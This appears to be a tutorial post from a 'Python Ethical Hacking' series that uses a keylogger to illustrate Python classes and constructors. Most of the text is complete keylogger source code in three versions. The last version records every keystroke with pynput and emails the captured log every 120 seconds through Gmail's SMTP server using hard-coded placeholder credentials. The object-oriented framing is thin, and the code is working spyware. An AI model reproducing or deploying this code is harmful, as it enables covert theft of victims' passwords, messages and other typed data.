Object-Oriented Programming

Keylogger Classes

  • Way of modeling program(blueprint).
  • Logically group functions and data.
  • Makes code more readable.
  • More reusable.
  • Separate implementation from usage(encapsulation).
  • Easier to extend.
  • Easier to maintain.

The Keylogger Class:



#!/usr/bin/env python
import threading

import pynput.keyboard

log = ""


class Keylogger:
def process_key_press(self, key):
global log
try:
log = log + str(key.char)
except AttributeError:
if key == key.space:
log = log + " "
else:
log = log + " " + str(key) + " "

def report(self):
global log
print(log)
log = ""
timer = threading.Timer(10, self.report)
timer.start()

def start(self):
keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listener:
self.report()
keyboard_listener.join()


The main Python program calling the Keylogger Class:



#!/usr/bin/env python
import keylogger

my_keylogger = keylogger.Keylogger()
my_keylogger.start()


 

 

 

 Constructor Method & Instance Variables:

  • AKA initialization method.
  • Gets executed automatically when a class is created.


#!/usr/bin/env python
import threading

import pynput.keyboard


class Keylogger:
def __init__(self):
self.log = ""

def append_to_log(self, string):
self.log = self.log + string

def process_key_press(self, key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = " "
else:
current_key = " " + str(key) + " "
self.append_to_log(current_key)

def report(self):
print(self.log)
self.log = ""
timer = threading.Timer(10, self.report)
timer.start()

def start(self):
keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listener:
self.report()
keyboard_listener.join()


 

Python Ethical Hacking - KEYLOGGER(3)_Python

 

Polish the Python Class Code once more to log Key-strikes and report them by email.



#!/usr/bin/env python
import threading
import smtplib
import pynput.keyboard


class Keylogger:
def __init__(self, time_interval, email, password):
self.log = "Keylogger started"
self.interval = time_interval
self.email = email
self.password = password

def append_to_log(self, string):
self.log = self.log + string

def process_key_press(self, key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = " "
else:
current_key = " " + str(key) + " "
self.append_to_log(current_key)

def report(self):
print(self.log)
self.send_mail(self.email, self.password, "\n\n" + self.log)
self.log = ""
timer = threading.Timer(self.interval, self.report)
timer.start()

def send_mail(self, email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()

def start(self):
keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listener:
self.report()
keyboard_listener.join()


Main program:



#!/usr/bin/env python
import keylogger

my_keylogger = keylogger.Keylogger(120, "aaaa@gmail.com", "12345678")
my_keylogger.start()


Python Ethical Hacking - KEYLOGGER(3)_python_02

 


相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。